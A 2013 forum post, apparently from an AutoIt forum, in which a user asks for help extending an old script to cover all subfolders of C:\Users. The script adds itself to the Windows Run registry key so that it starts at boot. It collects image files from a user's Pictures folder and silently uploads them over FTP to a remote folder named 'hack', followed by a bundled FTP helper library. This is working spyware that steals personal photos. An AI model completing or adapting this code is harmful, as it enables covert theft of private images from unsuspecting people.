evinx Posted April 25, 2013 Posted April 25, 2013 (edited) hello there i have a old script but its not working fine any more i hope someone can help me is it possible to edit the code so it read all subfolders now i have to add c:/users/petra/pictures to upload all files in the folder pictures now i want to add c:/users/ and it uploads every image that is standing in users/(subfolders) how can i add this function :?? expandcollapse popup#Include <File.au3> ; === Opties === ; Optie variabele waarin staat in welke directories je gaat zoeken. ; Voer geen directories in zoals C:\123\ EN C:\123\456, gebruik dan alleen C:\123\ Local $opt_SearchDir[1] = ["C:\Users\petra\Pictures"] ; <== Invullen ; Optie voor file extensions. Local $opt_FileExtensions = "*.jpg; *.jpeg; *.png; *.bmp; *.gif" ; FTP opties Local $opt_FTP_Server = "xxx.pcextreme.nl" ; <== Invullen Local $opt_FTP_Username = "ftp.xxx.nl" ; <== Invullen Local $opt_FTP_Password = "xxxxx" ; <== Invullen Local $opt_FTP_Directory = "/domains/evinx.nl/htdocs/hack/" ; Moet met / gedaan. Moet een / aan het begin en aan het eind. Voorbeeld: /public_html/images/ ; ======================= ; === Hoofd programma === ;If ( Not @Compiled ) Then ; MsgBox(0, "", "This script needs to be compiled.") ; Exit ;EndIf RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "UploadImageToFTP", "REG_SZ", @ScriptFullPath) ;RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "UploadImageToFTP") Global $hFtp _Connect() For $i = 0 to UBound($opt_SearchDir)-1 $lFile = _FileListToArrayEx($opt_SearchDir[$i],$opt_FileExtensions,True) For $n = 1 To UBound($lFile)-1 _FTPUpload($lFile[$n]) Next Next _Close() Exit Func _Connect() $hFtp = _FTPOpen("ManadarX") _FTPConnect($hFtp, $opt_FTP_Server, $opt_FTP_Username, $opt_FTP_Password, 21, 1, 0x08000000) If @error Then MsgBox(0,"UploadToFTP", "Er kan geen verbinding worden gemaakt met de server. ") Exit EndIf _FTPMakeDir($hFtp, $opt_FTP_Directory) _FtpSetCurrentDir($hFtp, $opt_FTP_Directory) EndFunc Func _FTPUpload($pFile) Local $aDrive, $aDir, $aFile, $aExt ConsoleWrite("Uploading file " & $pFile & @CRLF) _PathSplit($pFile,$aDrive,$aDir,$aFile,$aExt) _FTPPutFile($hFtp, $pFile, $opt_FTP_Directory & $aFile & $aExt, 2) ;; <== Werkt dus niet EndFunc Func _Close() _FTPClose($hFtp) EndFunc ; Utility functions Func _FileListToArrayEx($sPath, $sFilter = '*.*', $iRecurse = False) If Not FileExists($sPath) Then Return SetError(1, 1, '') If $sFilter = -1 Or $sFilter = Default Then $sFilter = '*.*' ;If $sExclude = -1 Or $sExclude = Default Then $sExclude = '' ;Local $aBadChar[6] = ['\', '/', ':', '>', '<', '|'] $sFilter = StringRegExpReplace($sFilter, '\s*;\s*', ';') If StringRight($sPath, 1) <> '\' Then $sPath &= '\' ;For $iCC = 0 To 5 ; If StringInStr($sFilter, $aBadChar[$iCC]) Or _ ; StringInStr($sExclude, $aBadChar[$iCC]) Then Return SetError(2, 2, '') ;Next If StringStripWS($sFilter, 8) = '' Then Return SetError(2, 2, '') Local $oFSO = ObjCreate("Scripting.FileSystemObject"), $sTFolder $sTFolder = $oFSO.GetSpecialFolder(2) Local $hOutFile = @TempDir & $oFSO.GetTempName If Not StringInStr($sFilter, ';') Then $sFilter &= ';' Local $aSplit = StringSplit(StringStripWS($sFilter, 8), ';'), $sRead, $sHoldSplit For $iCC = 1 To $aSplit[0] If StringStripWS($aSplit[$iCC],8) = '' Then ContinueLoop If StringLeft($aSplit[$iCC], 1) = '.' And _ UBound(StringSplit($aSplit[$iCC], '.')) - 2 = 1 Then $aSplit[$iCC] = '*' & $aSplit[$iCC] $sHoldSplit &= '"' & $sPath & $aSplit[$iCC] & '" ' Next $sHoldSplit = StringTrimRight($sHoldSplit, 1) If $iRecurse Then RunWait(@Comspec & ' /c dir /b /s /a ' & $sHoldSplit & ' > "' & $hOutFile & '"', '', @SW_HIDE) Else RunWait(@ComSpec & ' /c dir /b /a ' & $sHoldSplit & ' /o-e /od > "' & $hOutFile & '"', '', @SW_HIDE) EndIf $sRead &= FileRead($hOutFile) If Not FileExists($hOutFile) Then Return SetError(4, 4, '') FileDelete($hOutFile) If StringStripWS($sRead, 8) = '' Then SetError(4, 4, '') Local $aFSplit = StringSplit(StringTrimRight(StringStripCR($sRead), 1), @LF) Local $sHold For $iCC = 1 To $aFSplit[0] ;If $sExclude And StringLeft($aFSplit[$iCC], StringLen(StringReplace($sExclude, '*', ''))) = StringReplace($sExclude, '*', '') Then ContinueLoop If StringInStr(FileGetAttrib($sPath & '\' & $aFSplit[$iCC]), 'd') = 0 And _ StringInStr(FileGetAttrib($aFSplit[$iCC]), 'd') = 0 Then If StringRegExp($aFSplit[$iCC], '\w:\\') = 0 Then $sHold &= $sPath & $aFSplit[$iCC] & Chr(1) Else $sHold &= $aFSplit[$iCC] & Chr(1) EndIf EndIf Next If StringTrimRight($sHold, 1) Then Return StringSplit(StringTrimRight($sHold, 1), Chr(1)) Return SetError(4, 4, '') EndFunc ;FTP UDF, Updated By JohnMC On Sept 10th 2008 ; ;A Map Of The Handle Array: ;[0] ;[1]= wininet.dll handle ;[2]= InternetOpen handle ;[3]= InternetConnect handle ;[4]= FTPFileFindFirst dll struct handle ;[5]= FtpFindFirstFile handle ; ;=============================================================================== ; ; Function Name: _FTPOpen() ; Description: Opens an FTP session. ; Parameter(s): $s_Agent - Random name. ( like "myftp" ) ; $l_AccessType - I dont got a clue what this does. ; $s_ProxyName - ProxyName. ; $s_ProxyBypass - ProxyByPasses's. ; $l_Flags - Special flags. ; Requirement(s): wininet.dll ; Return Value(s): On Success - Returns an indentifier. ; On Failure - 0 and sets @ERROR ; Author(s): Wouter van Kesteren. ; ;=============================================================================== Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0) local $handles[6] $handles[1]=DllOpen("wininet.dll") Local $ai_InternetOpen = DllCall($handles[1], 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags) If @error OR $ai_InternetOpen[0] = 0 Then SetError(-1) Return 0 EndIf $handles[2]=$ai_InternetOpen[0] Return $handles EndFunc ;==> _FTPOpen() ;=============================================================================== ; ; Function Name: _FTPConnect() ; Description: Connects to an FTP server. ; Parameter(s): $l_InternetSession - Array from _FTPOpen() ; $s_ServerName - Server name/ip. ; $s_Username - Username. ; $s_Password - Password. ; $i_ServerPort - Server port ( 0 is default (21) ) ; $l_Service - I dont got a clue what this does. ; $l_Flags - Special flags. ; $l_Context - I dont got a clue what this does. ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1. ; On Failure - 0 and sets @ERROR ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPConnect(ByRef $l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 21, $l_Service = 1, $l_Flags = 0, $l_Context = 0) Local $ai_InternetConnect = DllCall($l_InternetSession[1], 'long', 'InternetConnect', 'long', $l_InternetSession[2], 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_InternetConnect[0] = 0 Then SetError(-1) Return 0 EndIf $l_InternetSession[3]=$ai_InternetConnect[0] Return 1 EndFunc ;==> _FTPConnect() ;=============================================================================== ; ; Function Name: _FTPPutFile() ; Description: Puts an file on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_LocalFile - The local file. ; $s_RemoteFile - The remote Location for the file. ; $l_Flags - Special flags. ; $l_Context - I dont got a clue what this does. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPPutFile(ByRef $l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0) Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpPutFile', 'long', $l_FTPSession[3], 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPPutFile[0] EndFunc ;==> _FTPPutFile() ;=================================================================================================== ; ; Function Name: _FTPPutFolderContents() ; Description: Puts an folder on an FTP server. Recursivley if selected ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_LocalFolder - The local folder i.e. "c:\temp". ; $s_RemoteFolder - The remote folder i.e. '/website/home'. ; $b_RecursivePut - Recurse through sub-dirs. 0=Non recursive, 1=Recursive ; Requirement(s): wininet.dll ; Author(s): Stumpii ; ;=================================================================================================== Func _FTPPutFolderContents(ByRef $l_FTPSession, $s_LocalFolder, $s_RemoteFolder, $b_RecursivePut) ; Shows the filenames of all files in the current directory. local $search = FileFindFirstFile($s_LocalFolder & "\*.*") ; Check if the search was successful If $search = -1 Then MsgBox(0, "Error", "No files/directories matched the search pattern") Exit EndIf While 1 local $file = FileFindNextFile($search) If @error Then ExitLoop If StringInStr(FileGetAttrib($s_LocalFolder & "\" & $file), "D") Then _FTPMakeDir($l_FTPSession, $s_RemoteFolder & "/" & $file) If $b_RecursivePut Then _FTPPutFolderContents($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, $b_RecursivePut) EndIf Else _FTPPutFile($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, 0, 0) EndIf WEnd ; Close the search handle FileClose($search) EndFunc ;==>_FTPPutFolderContents ;=============================================================================== ; ; Function Name: _FTPGetFoldercontents ; Description: Recursively retrieves the contents of a directory on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_RemoteDir - The directory on the server to retrieve. (Needs trailing forwardslash) ; $s_LocalDir - The Local directory to save to. (Needs trailing backslash) ; $b_RecursiveGet - Recurse through sub-dirs. 0=Non recursive (top dir only), 1=Recursive (note that this is not tru recursion) ; $s_searchfor - (UNTESTED OTHER THEN DEFAULT) What to download, must be set to default * to download subfolders currently ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): JohnMC ; ;=============================================================================== Func _FTPGetFolderContents(ByRef $l_FTPSession, $s_RemoteDir, $s_LocalDir, $b_RecursiveGet=1, $s_searchfor="*") local $folderlist[1] Local $i=0 While $i < UBound($folderlist) Local $subpath=$folderlist[$i] _FtpSetCurrentDir($l_FTPSession,"/" & $s_RemoteDir & $subpath) local $FileInfo = _FtpFileFindFirst ($l_FTPSession,$s_searchfor) while $FileInfo[0]<>0 if $FileInfo[1]=16 and $FileInfo[10] <> "." and $FileInfo[10] <> ".." And $b_RecursiveGet<>0 Then Local $iUBound = UBound($folderlist) ReDim $folderlist[$iUBound + 1] $folderlist[$iUBound] = "/" & $subpath & $FileInfo[10] & "/" elseif $FileInfo[1]=128 then $downloadto = $s_LocalDir & stringReplace ($subpath,"/","\") If Not FileExists($downloadto) then DirCreate($downloadto) _FTPGetFile($l_FTPSession,$FileInfo[10],$downloadto&$FileInfo[10]) endif $FileInfo = _FtpFileFindNext($l_FTPSession) wend _FTPFileFindClose($l_FTPSession) $i+=1 WEnd EndFunc ;==>_FTPGetFolderContents ;=============================================================================== ; ; Function Name: _FTPGetFile() ; Description: Puts an file on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_RemoteFile - The remote file. ; $s_LocalFile - The Local Location to download to. ; $l_FailEx - If File Exists Localy 1=Fail 0=Proceed (Default) ;Fail Caused Crash For Me On My Vista Machine, changed default -JohnMC ; $l_FlagsA - Special flags & Attributes. -JohnMC ; $l_Flags - Special flags. ; $l_Context - I dont got a clue what this does. ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Dick Bronsdijk ; Updated By JohnMC To Add $l_FailEx and $l_FlagsA ; ;=============================================================================== Func _FTPGetFile(ByRef $l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_FailEx = 0, $l_FlagsA = 0, $l_Flags = 0, $l_Context = 0) Local $ai_FTPGetFile = DllCall($l_FTPSession[1], 'int', 'FtpGetFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_FailEx, 'long', $l_FlagsA, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPGetFile[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPGetFile[0] EndFunc;==> _FTPPutFile() ;=============================================================================== ; ; Function Name: _FTPDelFile() ; Description: Delete an file from an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_RemoteFile - The remote Location for the file. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPDelFile(ByRef $l_FTPSession, $s_RemoteFile) Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpDeleteFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPPutFile[0] EndFunc ;==> _FTPDelFile() ;=============================================================================== ; ; Function Name: _FTPRenameFile() ; Description: Renames an file on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_Existing - The old file name. ; $s_New - The new file name. ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPRenameFile(ByRef $l_FTPSession, $s_Existing, $s_New) Local $ai_FTPRenameFile = DllCall($l_FTPSession[1], 'int', 'FtpRenameFile', 'long', $l_FTPSession[3], 'str', $s_Existing, 'str', $s_New) If @error OR $ai_FTPRenameFile[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPRenameFile[0] EndFunc ;==> _FTPRenameFile() ;=============================================================================== ; ; Function Name: _FTPMakeDir() ; Description: Makes an Directory on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_Remote - The file name to be deleted. ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPMakeDir(ByRef $l_FTPSession, $s_Remote) Local $ai_FTPMakeDir = DllCall($l_FTPSession[1], 'int', 'FtpCreateDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote) If @error OR $ai_FTPMakeDir[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPMakeDir[0] EndFunc ;==> _FTPMakeDir() ;=============================================================================== ; ; Function Name: _FTPDelDir() ; Description: Delete's an Directory on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_Remote - The Directory to be deleted. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPDelDir(ByRef $l_FTPSession, $s_Remote) Local $ai_FTPDelDir = DllCall($l_FTPSession[1], 'int', 'FtpRemoveDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote) If @error OR $ai_FTPDelDir[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPDelDir[0] EndFunc ;==> _FTPDelDir() ;=============================================================================== ; ; Function Name: _FTPGetFileSize() ; Description: Gets the file size of a remote file ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_FileName - Remote file ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): J.o.a.c.h.i.m. d.e. K.o.n.i.n.g. ; ;=============================================================================== Func _FTPGetFileSize(ByRef $l_FTPSession, $s_FileName) Local $ai_FTPGetSizeHandle = DllCall($l_FTPSession[1], 'int', 'FtpOpenFile', 'long', $l_FTPSession[3], 'str', $s_FileName, 'long', 0x80000000, 'long', 0x04000002, 'long', 0) Local $ai_FTPGetFileSize = DllCall($l_FTPSession[1], 'int', 'FtpGetFileSize', 'long', $ai_FTPGetSizeHandle[0]) If @error OR $ai_FTPGetFileSize[0] = 0 Then SetError(-1) Return 0 EndIf DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'str', $ai_FTPGetSizeHandle[0]) Return $ai_FTPGetFileSize[0] EndFunc ;==> _FTPGetFileSize() ;=============================================================================== ; ; Function Name: _FTPGetCurrentDir() ; Description: Get Current Directory on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; Requirement(s): wininet.dll ; Return Value(s): On Success - Directory Name ; On Failure - 0 ; Author(s): Beast ; ;=============================================================================== Func _FTPGetCurrentDir(ByRef $l_FTPSession) Local $ai_FTPGetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpGetCurrentDirectory', 'long', $l_FTPSession[3], 'str', "", 'long_ptr', 260) If @error OR $ai_FTPGetCurrentDir[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPGetCurrentDir[2] EndFunc;==> _FTPGetCurrentDir() ;=============================================================================== ; ; Function Name: _FtpSetCurrentDir() ; Description: Set Current Directory on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_Remote - The Directory to be set. ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Beast ; ;=============================================================================== Func _FtpSetCurrentDir(ByRef $l_FTPSession, $s_Remote) Local $ai_FTPSetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpSetCurrentDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote) If @error OR $ai_FTPSetCurrentDir[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPSetCurrentDir[0] EndFunc;==> _FtpSetCurrentDir() ;=============================================================================== ; ; Function Name: _FTPFileFindFirst() ; Description: Find First File on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $s_RemoteFile - The remote file to find ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Dick Bronsdijk ; ;=============================================================================== Func _FTPFileFindFirst(ByRef $l_FTPSession, $s_RemoteFile, $l_Flags = 0, $l_Context = 0) $l_FTPSession[4]=DllStructCreate("int;uint[2];uint[2];uint[2];int;int;int;int;char[256];char[14]") if @error Then SetError(-2) Return "" endif Dim $a_FTPFileList[1] $a_FTPFileList[0] = 0 Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpFindFirstFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'ptr', DllStructGetPtr($l_FTPSession[4]), 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return $a_FTPFileList EndIf $l_FTPSession[5] = $ai_FTPPutFile[0] $FileName = DllStructGetData($l_FTPSession[4], 9) Dim $a_FTPFileList[12] $a_FTPFileList[0] = 12 $a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1) ; File Attributes $a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low $a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High $a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low $a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High $a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low $a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High $a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5) ; File Size High $a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6) ; File Size Low $a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9) ; File Name $a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10) ; Altername Return $a_FTPFileList EndFunc;==> _FTPFileFindFirst() ;=============================================================================== ; ; Function Name: _FTPFileFindNext() ; Description: Find Next File on an FTP server. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; $l_DllStruct - ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Dick Bronsdijk ; ;=============================================================================== Func _FTPFileFindNext(ByRef $l_FTPSession) Dim $a_FTPFileList[1] $a_FTPFileList[0] = 0 Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetFindNextFile', 'long',$l_FTPSession[5], 'ptr', DllStructGetPtr($l_FTPSession[4])) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return $a_FTPFileList EndIf Dim $a_FTPFileList[12] $a_FTPFileList[0] = 12 $a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1) ; File Attributes $a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low $a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High $a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low $a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High $a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low $a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High $a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5) ; File Size High $a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6) ; File Size Low $a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9) ; File Name $a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10) ; Altername Return $a_FTPFileList EndFunc;==> _FTPFileFindNext() ;=============================================================================== ; ; Function Name: _FTPFileFindClose() ; Description: Delete FindFile Structure. ; Parameter(s): $l_FTPSession - Array from _FTPOpen() ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Dick Bronsdijk ; ;=============================================================================== Func _FTPFileFindClose($l_FTPSession) Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'long', $l_FTPSession[5]) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return "" EndIf Return $ai_FTPPutFile[0] EndFunc;==> _FTPFileFindClose() ;=============================================================================== ; ; Function Name: _FTPClose() ; Description: Closes the _FTPOpen session. ; Parameter(s): $l_InternetSession - Array from _FTPOpen() ; Requirement(s): wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPClose($l_InternetSession) Local $ai_InternetCloseHandle = DllCall($l_InternetSession[1], 'int', 'InternetCloseHandle', 'long', $l_InternetSession[2]) DLLClose($l_InternetSession[1]) If @error OR $ai_InternetCloseHandle[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_InternetCloseHandle[0] EndFunc ;==> _FTPClose() Edited April 29, 2013 by evinx Changed tags to autoit sorry for my bad english
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now